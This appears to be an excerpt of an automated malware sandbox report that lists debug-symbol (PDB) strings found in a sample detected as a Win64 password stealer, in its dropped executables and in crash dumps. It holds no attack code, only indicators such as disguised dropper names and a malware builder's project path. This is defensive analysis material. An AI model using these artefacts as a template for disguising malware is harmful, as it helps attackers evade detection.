Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb\| source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Management.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users\user\Desktop\HFayo.pdb\M source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.Serialization.pdbSystem.Security.SecureString.dll??\ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Web.pdb`@ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.DataVisualization.Design.pdbMicrosoft.Build.Framework.dllh source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbSILZ source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99246000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IO.Log.pdbSystem.Diagnostics.TextWriterTraceListener.dll( source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Runtime.Remoting.ni.pdbRSDS-L source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Extensions.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.pdbSystem.ValueTuple.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\spczxf.PDBn.0 source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Entity.pdb8 source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Workflow.Activities.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.Services.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Numerics.Vectors.pdbh source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.Services.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.pdbMZ source: WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Messaging.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdb source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: sysglobl.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.Core.Presentation.pdb( source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Data.Entity.Build.Tasks.pdbSystem.Runtime.ni.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceModel.Web.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.Composition.Registration.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: sysglobl.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Deployment.pdbMZ source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.Presentation.pdb_C source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Services.Client.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: mscorlib.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Diagnostics.Tracing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Linq.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IO.Compression.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.RegularExpressions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.pdbMZ@ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Entity.pdbp source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.Formatters.Soap.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.WasHosting.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Channels.pdbh$ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IdentityModel.Selectors.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: aspnet_wp.pdb source: Microsoft.exe, 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmp, Microsoft.exe, 00000010.00000000.1785763182.00007FF7FE547000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: System.ServiceProcess.ni.pdbRSDSwg source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb.exed source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Windows.ApplicationServer.Applications.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDB source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xaml.ni.pdbRSDSDg{V source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Framework.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Routing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Core.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.pdb! source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Transactions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Caching.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32objr\x86\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbSystem.Web.RegularExpressions.dllSystem.Web.RegularExpressions.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.RegularExpressions.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.SqlXml.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.RegularExpressions.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.ni.pdb( source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdbSystem.Xml.XmlSerializer.dllH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Entity.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Mobile.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Transactions.Bridge.pdb8 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Linq.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.Design.pdbPj source: WER696F.tmp.dmp.30.dr
Source:	Binary string: SMDiagnostics.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xml.Linq.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbzS source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Dynamic.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wmplayer.pdbGCTL source: wmplayer.exe, 00000029.00000003.2458942503.000001DDEEFF0000.00000004.00000001.00020000.00000000.sdmp, pkiwizgebqxq.exe.41.dr
Source:	Binary string: NGenTaskLauncher.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Design.pdbMZ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.Services.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: BindoC:\Windows\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.DurableInstancing.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.DirectoryServices.Protocols.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.DataAnnotations.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Serialization.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Activities.Core.Presentation.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Engine.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Linq.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: pC:\Users\user\AppData\Local\Temp\spczxf.PDB source: spczxf.exe, 00000008.00000002.1734269034.00000098BFCF3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ComponentModel.Composition.Registration.pdbSystem.Reflection.Emit.Lightweight.dllH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Drawing.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Core.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb:\W/M source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: Microsoft.Build.Tasks.v4.0.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.Protocols.pdb:\W source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: wmplayer.pdb source: wmplayer.exe, 00000029.00000003.2458942503.000001DDEEFF0000.00000004.00000001.00020000.00000000.sdmp, pkiwizgebqxq.exe.41.dr
Source:	Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDBJ source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E991D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualC.pdbSystem.Xml.XPath.XDocument.dllSystem.Xml.XPath.XDocument.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Device.pdbSystem.Threading.Tasks.Parallel.dllPP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Workflow.Activities.pdb &8 source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Messaging.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.EnterpriseServices.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Management.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\HFayo.pdbdb@ source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Activities.Core.Presentation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.AddIn.Contract.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.DataAnnotations.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Management.Instrumentation.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Configuration.Install.ni.pdbRSDSQ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Caching.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.Extensions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceProcess.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.EnterpriseServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb( source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.DataVisualization.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\spczxf.PDB source: spczxf.exe, 00000008.00000002.1734269034.00000098BFCF3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\HFayo.pdbBS source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Activities.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Net.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: XamlBuildTask.pdbP4 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Deployment.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Security.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.ServiceModel.Activation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.AccountManagement.pdbP< source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Build.Framework.pdb0; source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb} source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.Protocols.pdbSystem.Windows.Forms.DataVisualization.Design.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.pdbMicrosoft.VisualC.dllMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb` source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDBH source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.ni.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.AddIn.Contract.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Activities.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.pdbMZ@ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Transactions.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\HFayo\obj\Release\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, ohvrxt.exe.3.dr
Source:	Binary string: System.Transactions.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.Data.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.ServiceModel.Activities.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.Install.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Transactions.Bridge.Dtc.pdb.CRT$XIZ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.Web.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IO.Compression.pdb0<c source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceModel.Channels.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.STLCLR.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Activities.DurableInstancing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99246000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Design.pdbSystem.AddIn.dllSystem.Dynamic.dllSystem.AddIn.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.Remoting.pdbp^a source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Internals.pdb8 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Dynamic.pdbH source: WER696F.tmp.dmp.30.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: Microsoft.Data.Entity.Build.Tasks.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.DurableInstancing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
